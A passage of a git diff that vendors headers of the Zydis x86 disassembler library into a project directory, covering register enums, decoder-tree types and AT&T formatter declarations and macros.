ZYDIS_REGISTER_MM5, + ZYDIS_REGISTER_MM6, + ZYDIS_REGISTER_MM7, + // Floating point vector registers 128-bit + ZYDIS_REGISTER_XMM0, + ZYDIS_REGISTER_XMM1, + ZYDIS_REGISTER_XMM2, + ZYDIS_REGISTER_XMM3, + ZYDIS_REGISTER_XMM4, + ZYDIS_REGISTER_XMM5, + ZYDIS_REGISTER_XMM6, + ZYDIS_REGISTER_XMM7, + ZYDIS_REGISTER_XMM8, + ZYDIS_REGISTER_XMM9, + ZYDIS_REGISTER_XMM10, + ZYDIS_REGISTER_XMM11, + ZYDIS_REGISTER_XMM12, + ZYDIS_REGISTER_XMM13, + ZYDIS_REGISTER_XMM14, + ZYDIS_REGISTER_XMM15, + ZYDIS_REGISTER_XMM16, + ZYDIS_REGISTER_XMM17, + ZYDIS_REGISTER_XMM18, + ZYDIS_REGISTER_XMM19, + ZYDIS_REGISTER_XMM20, + ZYDIS_REGISTER_XMM21, + ZYDIS_REGISTER_XMM22, + ZYDIS_REGISTER_XMM23, + ZYDIS_REGISTER_XMM24, + ZYDIS_REGISTER_XMM25, + ZYDIS_REGISTER_XMM26, + ZYDIS_REGISTER_XMM27, + ZYDIS_REGISTER_XMM28, + ZYDIS_REGISTER_XMM29, + ZYDIS_REGISTER_XMM30, + ZYDIS_REGISTER_XMM31, + // Floating point vector registers 256-bit + ZYDIS_REGISTER_YMM0, + ZYDIS_REGISTER_YMM1, + ZYDIS_REGISTER_YMM2, + ZYDIS_REGISTER_YMM3, + ZYDIS_REGISTER_YMM4, + ZYDIS_REGISTER_YMM5, + ZYDIS_REGISTER_YMM6, + ZYDIS_REGISTER_YMM7, + ZYDIS_REGISTER_YMM8, + ZYDIS_REGISTER_YMM9, + ZYDIS_REGISTER_YMM10, + ZYDIS_REGISTER_YMM11, + ZYDIS_REGISTER_YMM12, + ZYDIS_REGISTER_YMM13, + ZYDIS_REGISTER_YMM14, + ZYDIS_REGISTER_YMM15, + ZYDIS_REGISTER_YMM16, + ZYDIS_REGISTER_YMM17, + ZYDIS_REGISTER_YMM18, + ZYDIS_REGISTER_YMM19, + ZYDIS_REGISTER_YMM20, + ZYDIS_REGISTER_YMM21, + ZYDIS_REGISTER_YMM22, + ZYDIS_REGISTER_YMM23, + ZYDIS_REGISTER_YMM24, + ZYDIS_REGISTER_YMM25, + ZYDIS_REGISTER_YMM26, + ZYDIS_REGISTER_YMM27, + ZYDIS_REGISTER_YMM28, + ZYDIS_REGISTER_YMM29, + ZYDIS_REGISTER_YMM30, + ZYDIS_REGISTER_YMM31, + // Floating point vector registers 512-bit + ZYDIS_REGISTER_ZMM0, + ZYDIS_REGISTER_ZMM1, + ZYDIS_REGISTER_ZMM2, + ZYDIS_REGISTER_ZMM3, + ZYDIS_REGISTER_ZMM4, + ZYDIS_REGISTER_ZMM5, + ZYDIS_REGISTER_ZMM6, + ZYDIS_REGISTER_ZMM7, + ZYDIS_REGISTER_ZMM8, + ZYDIS_REGISTER_ZMM9, + ZYDIS_REGISTER_ZMM10, + ZYDIS_REGISTER_ZMM11, + ZYDIS_REGISTER_ZMM12, + ZYDIS_REGISTER_ZMM13, + ZYDIS_REGISTER_ZMM14, + ZYDIS_REGISTER_ZMM15, + ZYDIS_REGISTER_ZMM16, + ZYDIS_REGISTER_ZMM17, + ZYDIS_REGISTER_ZMM18, + ZYDIS_REGISTER_ZMM19, + ZYDIS_REGISTER_ZMM20, + ZYDIS_REGISTER_ZMM21, + ZYDIS_REGISTER_ZMM22, + ZYDIS_REGISTER_ZMM23, + ZYDIS_REGISTER_ZMM24, + ZYDIS_REGISTER_ZMM25, + ZYDIS_REGISTER_ZMM26, + ZYDIS_REGISTER_ZMM27, + ZYDIS_REGISTER_ZMM28, + ZYDIS_REGISTER_ZMM29, + ZYDIS_REGISTER_ZMM30, + ZYDIS_REGISTER_ZMM31, + // Matrix registers + ZYDIS_REGISTER_TMM0, + ZYDIS_REGISTER_TMM1, + ZYDIS_REGISTER_TMM2, + ZYDIS_REGISTER_TMM3, + ZYDIS_REGISTER_TMM4, + ZYDIS_REGISTER_TMM5, + ZYDIS_REGISTER_TMM6, + ZYDIS_REGISTER_TMM7, + // Flags registers + ZYDIS_REGISTER_FLAGS, + ZYDIS_REGISTER_EFLAGS, + ZYDIS_REGISTER_RFLAGS, + // Instruction-pointer registers + ZYDIS_REGISTER_IP, + ZYDIS_REGISTER_EIP, + ZYDIS_REGISTER_RIP, + // Segment registers + ZYDIS_REGISTER_ES, + ZYDIS_REGISTER_CS, + ZYDIS_REGISTER_SS, + ZYDIS_REGISTER_DS, + ZYDIS_REGISTER_FS, + ZYDIS_REGISTER_GS, + // Table registers + ZYDIS_REGISTER_GDTR, + ZYDIS_REGISTER_LDTR, + ZYDIS_REGISTER_IDTR, + ZYDIS_REGISTER_TR, + // Test registers + ZYDIS_REGISTER_TR0, + ZYDIS_REGISTER_TR1, + ZYDIS_REGISTER_TR2, + ZYDIS_REGISTER_TR3, + ZYDIS_REGISTER_TR4, + ZYDIS_REGISTER_TR5, + ZYDIS_REGISTER_TR6, + ZYDIS_REGISTER_TR7, + // Control registers + ZYDIS_REGISTER_CR0, + ZYDIS_REGISTER_CR1, + ZYDIS_REGISTER_CR2, + ZYDIS_REGISTER_CR3, + ZYDIS_REGISTER_CR4, + ZYDIS_REGISTER_CR5, + ZYDIS_REGISTER_CR6, + ZYDIS_REGISTER_CR7, + ZYDIS_REGISTER_CR8, + ZYDIS_REGISTER_CR9, + ZYDIS_REGISTER_CR10, + ZYDIS_REGISTER_CR11, + ZYDIS_REGISTER_CR12, + ZYDIS_REGISTER_CR13, + ZYDIS_REGISTER_CR14, + ZYDIS_REGISTER_CR15, + // Debug registers + ZYDIS_REGISTER_DR0, + ZYDIS_REGISTER_DR1, + ZYDIS_REGISTER_DR2, + ZYDIS_REGISTER_DR3, + ZYDIS_REGISTER_DR4, + ZYDIS_REGISTER_DR5, + ZYDIS_REGISTER_DR6, + ZYDIS_REGISTER_DR7, + ZYDIS_REGISTER_DR8, + ZYDIS_REGISTER_DR9, + ZYDIS_REGISTER_DR10, + ZYDIS_REGISTER_DR11, + ZYDIS_REGISTER_DR12, + ZYDIS_REGISTER_DR13, + ZYDIS_REGISTER_DR14, + ZYDIS_REGISTER_DR15, + // Mask registers + ZYDIS_REGISTER_K0, + ZYDIS_REGISTER_K1, + ZYDIS_REGISTER_K2, + ZYDIS_REGISTER_K3, + ZYDIS_REGISTER_K4, + ZYDIS_REGISTER_K5, + ZYDIS_REGISTER_K6, + ZYDIS_REGISTER_K7, + // Bound registers + ZYDIS_REGISTER_BND0, + ZYDIS_REGISTER_BND1, + ZYDIS_REGISTER_BND2, + ZYDIS_REGISTER_BND3, + ZYDIS_REGISTER_BNDCFG, + ZYDIS_REGISTER_BNDSTATUS, + // Uncategorized + ZYDIS_REGISTER_MXCSR, + ZYDIS_REGISTER_PKRU, + ZYDIS_REGISTER_XCR0, + + /** + * Maximum value of this enum. + */ + ZYDIS_REGISTER_MAX_VALUE = ZYDIS_REGISTER_XCR0, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_REGISTER_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_REGISTER_MAX_VALUE) +} ZydisRegister; diff --git a/Theodosius/Zydis/Internal/DecoderData.h b/Theodosius/Zydis/Internal/DecoderData.h new file mode 100644 index 0000000..db6cf53 --- /dev/null +++ b/Theodosius/Zydis/Internal/DecoderData.h @@ -0,0 +1,331 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +#ifndef ZYDIS_INTERNAL_DECODERDATA_H +#define ZYDIS_INTERNAL_DECODERDATA_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +// MSVC does not like types other than (un-)signed int for bit-fields +#ifdef ZYAN_MSVC +# pragma warning(push) +# pragma warning(disable:4214) +#endif + +#pragma pack(push, 1) + +/* ---------------------------------------------------------------------------------------------- */ +/* Decoder tree */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisDecoderTreeNodeType` data-type. + */ +typedef ZyanU8 ZydisDecoderTreeNodeType; + +/** + * Values that represent zydis decoder tree node types. + */ +enum ZydisDecoderTreeNodeTypes +{ + ZYDIS_NODETYPE_INVALID = 0x00, + /** + * Reference to an instruction-definition. + */ + ZYDIS_NODETYPE_DEFINITION_MASK = 0x80, + /** + * Reference to an XOP-map filter. + */ + ZYDIS_NODETYPE_FILTER_XOP = 0x01, + /** + * Reference to an VEX-map filter. + */ + ZYDIS_NODETYPE_FILTER_VEX = 0x02, + /** + * Reference to an EVEX/MVEX-map filter. + */ + ZYDIS_NODETYPE_FILTER_EMVEX = 0x03, + /** + * Reference to an opcode filter. + */ + ZYDIS_NODETYPE_FILTER_OPCODE = 0x04, + /** + * Reference to an instruction-mode filter. + */ + ZYDIS_NODETYPE_FILTER_MODE = 0x05, + /** + * Reference to an compacted instruction-mode filter. + */ + ZYDIS_NODETYPE_FILTER_MODE_COMPACT = 0x06, + /** + * Reference to a ModRM.mod filter. + */ + ZYDIS_NODETYPE_FILTER_MODRM_MOD = 0x07, + /** + * Reference to a compacted ModRM.mod filter. + */ + ZYDIS_NODETYPE_FILTER_MODRM_MOD_COMPACT = 0x08, + /** + * Reference to a ModRM.reg filter. + */ + ZYDIS_NODETYPE_FILTER_MODRM_REG = 0x09, + /** + * Reference to a ModRM.rm filter. + */ + ZYDIS_NODETYPE_FILTER_MODRM_RM = 0x0A, + /** + * Reference to a PrefixGroup1 filter. + */ + ZYDIS_NODETYPE_FILTER_PREFIX_GROUP1 = 0x0B, + /** + * Reference to a mandatory-prefix filter. + */ + ZYDIS_NODETYPE_FILTER_MANDATORY_PREFIX = 0x0C, + /** + * Reference to an operand-size filter. + */ + ZYDIS_NODETYPE_FILTER_OPERAND_SIZE = 0x0D, + /** + * Reference to an address-size filter. + */ + ZYDIS_NODETYPE_FILTER_ADDRESS_SIZE = 0x0E, + /** + * Reference to a vector-length filter. + */ + ZYDIS_NODETYPE_FILTER_VECTOR_LENGTH = 0x0F, + /** + * Reference to an REX/VEX/EVEX.W filter. + */ + ZYDIS_NODETYPE_FILTER_REX_W = 0x10, + /** + * Reference to an REX/VEX/EVEX.B filter. + */ + ZYDIS_NODETYPE_FILTER_REX_B = 0x11, + /** + * Reference to an EVEX.b filter. + */ + ZYDIS_NODETYPE_FILTER_EVEX_B = 0x12, + /** + * Reference to an MVEX.E filter. + */ + ZYDIS_NODETYPE_FILTER_MVEX_E = 0x13, + /** + * Reference to a AMD-mode filter. + */ + ZYDIS_NODETYPE_FILTER_MODE_AMD = 0x14, + /** + * Reference to a KNC-mode filter. + */ + ZYDIS_NODETYPE_FILTER_MODE_KNC = 0x15, + /** + * Reference to a MPX-mode filter. + */ + ZYDIS_NODETYPE_FILTER_MODE_MPX = 0x16, + /** + * Reference to a CET-mode filter. + */ + ZYDIS_NODETYPE_FILTER_MODE_CET = 0x17, + /** + * Reference to a LZCNT-mode filter. + */ + ZYDIS_NODETYPE_FILTER_MODE_LZCNT = 0x18, + /** + * Reference to a TZCNT-mode filter. + */ + ZYDIS_NODETYPE_FILTER_MODE_TZCNT = 0x19, + /** + * Reference to a WBNOINVD-mode filter. + */ + ZYDIS_NODETYPE_FILTER_MODE_WBNOINVD = 0x1A, + /** + * Reference to a CLDEMOTE-mode filter. + */ + ZYDIS_NODETYPE_FILTER_MODE_CLDEMOTE = 0x1B +}; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisDecoderTreeNodeValue` data-type. + */ +typedef ZyanU16 ZydisDecoderTreeNodeValue; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisDecoderTreeNode` struct. + */ +typedef struct ZydisDecoderTreeNode_ +{ + ZydisDecoderTreeNodeType type; + ZydisDecoderTreeNodeValue value; +} ZydisDecoderTreeNode; + +/* ---------------------------------------------------------------------------------------------- */ + +#pragma pack(pop) + +#ifdef ZYAN_MSVC +# pragma warning(pop) +#endif + +/* ---------------------------------------------------------------------------------------------- */ +/* Physical instruction encoding info */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisInstructionEncodingFlags` data-type. + */ +typedef ZyanU8 ZydisInstructionEncodingFlags; + +/** + * The instruction has an optional modrm byte. + */ +#define ZYDIS_INSTR_ENC_FLAG_HAS_MODRM 0x01 + +/** + * The instruction has an optional displacement value. + */ +#define ZYDIS_INSTR_ENC_FLAG_HAS_DISP 0x02 + +/** + * The instruction has an optional immediate value. + */ +#define ZYDIS_INSTR_ENC_FLAG_HAS_IMM0 0x04 + +/** + * The instruction has a second optional immediate value. + */ +#define ZYDIS_INSTR_ENC_FLAG_HAS_IMM1 0x08 + +/** + * The instruction ignores the value of `modrm.mod` and always assumes `modrm.mod == 3` + * ("reg, reg" - form). + * + * Instructions with this flag can't have a SIB byte or a displacement value. + */ +#define ZYDIS_INSTR_ENC_FLAG_FORCE_REG_FORM 0x10 + +/** + * Defines the `ZydisInstructionEncodingInfo` struct. + */ +typedef struct ZydisInstructionEncodingInfo_ +{ + /** + * Contains flags with information about the physical instruction-encoding. + */ + ZydisInstructionEncodingFlags flags; + /** + * Displacement info. + */ + struct + { + /** + * The size of the displacement value. + */ + ZyanU8 size[3]; + } disp; + /** + * Immediate info. + */ + struct + { + /** + * The size of the immediate value. + */ + ZyanU8 size[3]; + /** + * Signals, if the value is signed. + */ + ZyanBool is_signed; + /** + * Signals, if the value is a relative offset. + */ + ZyanBool is_relative; + } imm[2]; +} ZydisInstructionEncodingInfo; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Decoder tree */ +/* ---------------------------------------------------------------------------------------------- */ + +extern const ZydisDecoderTreeNode zydis_decoder_tree_root; + +/** + * Returns the root node of the instruction tree. + * + * @return The root node of the instruction tree. + */ +ZYAN_INLINE const ZydisDecoderTreeNode* ZydisDecoderTreeGetRootNode(void) +{ + return &zydis_decoder_tree_root; +} + +/** + * Returns the child node of `parent` specified by `index`. + * + * @param parent The parent node. + * @param index The index of the child node to retrieve. + * + * @return The specified child node. + */ +ZYDIS_NO_EXPORT const ZydisDecoderTreeNode* ZydisDecoderTreeGetChildNode( + const ZydisDecoderTreeNode* parent, ZyanU16 index); + +/** + * Returns information about optional instruction parts (like modrm, displacement or + * immediates) for the instruction that is linked to the given `node`. + * + * @param node The instruction definition node. + * @param info A pointer to the `ZydisInstructionParts` struct. + */ +ZYDIS_NO_EXPORT void ZydisGetInstructionEncodingInfo(const ZydisDecoderTreeNode* node, + const ZydisInstructionEncodingInfo** info); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_INTERNAL_DECODERDATA_H */ diff --git a/Theodosius/Zydis/Internal/FormatterATT.h b/Theodosius/Zydis/Internal/FormatterATT.h new file mode 100644 index 0000000..08b7134 --- /dev/null +++ b/Theodosius/Zydis/Internal/FormatterATT.h @@ -0,0 +1,178 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd, Joel Hoener + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Implements the `AT&T` style instruction-formatter. + */ + +#ifndef ZYDIS_FORMATTER_ATT_H +#define ZYDIS_FORMATTER_ATT_H + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Formatter functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Instruction */ +/* ---------------------------------------------------------------------------------------------- */ + +ZyanStatus ZydisFormatterATTFormatInstruction(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +/* ---------------------------------------------------------------------------------------------- */ +/* Operands */ +/* ---------------------------------------------------------------------------------------------- */ + +ZyanStatus ZydisFormatterATTFormatOperandMEM(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +/* ---------------------------------------------------------------------------------------------- */ +/* Elemental tokens */ +/* ---------------------------------------------------------------------------------------------- */ + +ZyanStatus ZydisFormatterATTPrintMnemonic(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterATTPrintRegister(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context, ZydisRegister reg); + +ZyanStatus ZydisFormatterATTPrintDISP(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterATTPrintIMM(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Fomatter presets */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* AT&T */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * The default formatter configuration for `AT&T` style disassembly. + */ +static const ZydisFormatter FORMATTER_ATT = +{ + /* style */ ZYDIS_FORMATTER_STYLE_ATT, + /* force_memory_size */ ZYAN_FALSE, + /* force_memory_seg */ ZYAN_FALSE, + /* force_relative_branches */ ZYAN_FALSE, + /* force_relative_riprel */ ZYAN_FALSE, + /* print_branch_size */ ZYAN_FALSE, + /* detailed_prefixes */ ZYAN_FALSE, + /* addr_base */ ZYDIS_NUMERIC_BASE_HEX, + /* addr_signedness */ ZYDIS_SIGNEDNESS_SIGNED, + /* addr_padding_absolute */ ZYDIS_PADDING_AUTO, + /* addr_padding_relative */ 2, + /* disp_base */ ZYDIS_NUMERIC_BASE_HEX, + /* disp_signedness */ ZYDIS_SIGNEDNESS_SIGNED, + /* disp_padding */ 2, + /* imm_base */ ZYDIS_NUMERIC_BASE_HEX, + /* imm_signedness */ ZYDIS_SIGNEDNESS_AUTO, + /* imm_padding */ 2, + /* case_prefixes */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_mnemonic */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_registers */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_typecasts */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_decorators */ ZYDIS_LETTER_CASE_DEFAULT, + /* hex_uppercase */ ZYAN_TRUE, + /* number_format */ + { + // ZYDIS_NUMERIC_BASE_DEC + { + // Prefix + { + /* string */ ZYAN_NULL, + /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + }, + // Suffix + { + /* string */ ZYAN_NULL, + /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + } + }, + // ZYDIS_NUMERIC_BASE_HEX + { + // Prefix + { + /* string */ &FORMATTER_ATT.number_format[ + ZYDIS_NUMERIC_BASE_HEX][0].string_data, + /* string_data */ ZYAN_DEFINE_STRING_VIEW("0x"), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + }, + // Suffix + { + /* string */ ZYAN_NULL, + /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + } + } + }, + /* func_pre_instruction */ ZYAN_NULL, + /* func_post_instruction */ ZYAN_NULL, + /* func_format_instruction */ &ZydisFormatterATTFormatInstruction, + /* func_pre_operand */ ZYAN_NULL, + /* func_post_operand */ ZYAN_NULL, + /* func_format_operand_reg */ &ZydisFormatterBaseFormatOperandREG, + /* func_format_operand_mem */ &ZydisFormatterATTFormatOperandMEM, + /* func_format_operand_ptr */ &ZydisFormatterBaseFormatOperandPTR, + /* func_format_operand_imm */ &ZydisFormatterBaseFormatOperandIMM, + /* func_print_mnemonic */ &ZydisFormatterATTPrintMnemonic, + /* func_print_register */ &ZydisFormatterATTPrintRegister, + /* func_print_address_abs */ &ZydisFormatterBasePrintAddressABS, + /* func_print_address_rel */ &ZydisFormatterBasePrintAddressREL, + /* func_print_disp */ &ZydisFormatterATTPrintDISP, + /* func_print_imm */ &ZydisFormatterATTPrintIMM, + /* func_print_typecast */ ZYAN_NULL, + /* func_print_segment */ &ZydisFormatterBasePrintSegment, + /* func_print_prefixes */ &ZydisFormatterBasePrintPrefixes, + /* func_print_decorator */ &ZydisFormatterBasePrintDecorator +}; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif // ZYDIS_FORMATTER_ATT_H diff --git a/Theodosius/Zydis/Internal/FormatterBase.h b/Theodosius/Zydis/Internal/FormatterBase.h new file mode 100644 index 0000000..0a61747 --- /dev/null +++ b/Theodosius/Zydis/Internal/FormatterBase.h @@ -0,0 +1,318 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd, Joel Hoener + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Provides formatter functions that are shared between the different formatters. + */ + +#ifndef ZYDIS_FORMATTER_BASE_H +#define ZYDIS_FORMATTER_BASE_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* String */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Appends an unsigned numeric value to the given string. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param base The numeric base. + * @param str The destination string. + * @param value The value. + * @param padding_length The padding length. + */ +#define ZYDIS_STRING_APPEND_NUM_U(formatter, base, str, value, padding_length) \ + switch (base) \ + { \ + case ZYDIS_NUMERIC_BASE_DEC: \ + ZYAN_CHECK(ZydisStringAppendDecU(str, value, padding_length, \ + (formatter)->number_format[base][0].string, \ + (formatter)->number_format[base][1].string)); \ + break; \ + case ZYDIS_NUMERIC_BASE_HEX: \ + ZYAN_CHECK(ZydisStringAppendHexU(str, value, padding_length, \ + (formatter)->hex_uppercase, \ + (formatter)->number_format[base][0].string, \ + (formatter)->number_format[base][1].string)); \ + break; \ + default: \ + return ZYAN_STATUS_INVALID_ARGUMENT; \ + } + +/** + * Appends a signed numeric value to the given string. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param base The numeric base. + * @param str The destination string. + * @param value The value. + * @param padding_length The padding length. + * @param force_sign Forces printing of the '+' sign for positive numbers. + */ +#define ZYDIS_STRING_APPEND_NUM_S(formatter, base, str, value, padding_length, force_sign) \ + switch (base) \ + { \ + case ZYDIS_NUMERIC_BASE_DEC: \ + ZYAN_CHECK(ZydisStringAppendDecS(str, value, padding_length, force_sign, \ + (formatter)->number_format[base][0].string, \ + (formatter)->number_format[base][1].string)); \ + break; \ + case ZYDIS_NUMERIC_BASE_HEX: \ + ZYAN_CHECK(ZydisStringAppendHexS(str, value, padding_length, \ + (formatter)->hex_uppercase, force_sign, \ + (formatter)->number_format[base][0].string, \ + (formatter)->number_format[base][1].string)); \ + break; \ + default: \ + return ZYAN_STATUS_INVALID_ARGUMENT; \ + } + +/* ---------------------------------------------------------------------------------------------- */ +/* Buffer */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Invokes the `ZydisFormatterBufferAppend` routine, if tokenization is enabled for the + * current pass. + * + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param type The token type. + * + * Using this macro instead of direct calls to `ZydisFormatterBufferAppend` greatly improves the + * performance for non-tokenizing passes. + */ +#define ZYDIS_BUFFER_APPEND_TOKEN(buffer, type) \ + if ((buffer)->is_token_list) \ + { \ + ZYAN_CHECK(ZydisFormatterBufferAppend(buffer, type)); \ + } + +/** + * Returns a snapshot of the buffer-state. + * + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param state Receives a snapshot of the buffer-state. + * + * Using this macro instead of direct calls to `ZydisFormatterBufferRemember` improves the + * performance for non-tokenizing passes. + */ +#define ZYDIS_BUFFER_REMEMBER(buffer, state) \ + if ((buffer)->is_token_list) \ + { \ + (state) = (ZyanUPointer)(buffer)->string.vector.data; \ + } else \ + { \ + (state) = (ZyanUPointer)(buffer)->string.vector.size; \ + } + +/** + * Appends a string (`STR_`-prefix) or a predefined token-list (`TOK_`-prefix). + * + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param name The base name (without prefix) of the string- or token. + */ +#define ZYDIS_BUFFER_APPEND(buffer, name) \ + if ((buffer)->is_token_list) \ + { \ + ZYAN_CHECK(ZydisFormatterBufferAppendPredefined(buffer, TOK_ ## name)); \ + } else \ + { \ + ZYAN_CHECK(ZydisStringAppendShort(&buffer->string, &STR_ ## name)); \ + } + +// TODO: Implement `letter_case` for predefined tokens + +/** + * Appends a string (`STR_`-prefix) or a predefined token-list (`TOK_`-prefix). + * + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param name The base name (without prefix) of the string- or token. + * @param letter-case The desired letter-case. + */ +#define ZYDIS_BUFFER_APPEND_CASE(buffer, name, letter_case) \ + if ((buffer)->is_token_list) \ + { \ + ZYAN_CHECK(ZydisFormatterBufferAppendPredefined(buffer, TOK_ ## name)); \ + } else \ + { \ + ZYAN_CHECK(ZydisStringAppendShortCase(&buffer->string, &STR_ ## name, letter_case)); \ + } + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Helper functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Buffer */ +/* ---------------------------------------------------------------------------------------------- */ + +// MSVC does not like the C99 flexible-array extension +#ifdef ZYAN_MSVC +# pragma warning(push) +# pragma warning(disable:4200) +#endif + +#pragma pack(push, 1) + +typedef struct ZydisPredefinedToken_ +{ + ZyanU8 size; + ZyanU8 next; + ZyanU8 data[]; +} ZydisPredefinedToken; + +#pragma pack(pop) + +#ifdef ZYAN_MSVC +# pragma warning(pop) +#endif + +/** + * Appends a predefined token-list to the `buffer`. + * + * @param buffer A pointer to the `ZydisFormatterBuffer` struct. + * @param data A pointer to the `ZydisPredefinedToken` struct. + * + * @return A zycore status code. + * + * This function is internally used to improve performance while adding static strings or multiple + * tokens at once. + */ +ZYAN_INLINE ZyanStatus ZydisFormatterBufferAppendPredefined(ZydisFormatterBuffer* buffer, + const ZydisPredefinedToken* data) +{ + ZYAN_ASSERT(buffer); + ZYAN_ASSERT(data); + + const ZyanUSize len = buffer->string.vector.size; + ZYAN_ASSERT((len > 0) && (len < 256)); + if (buffer->capacity <= len + data->size) + { + return 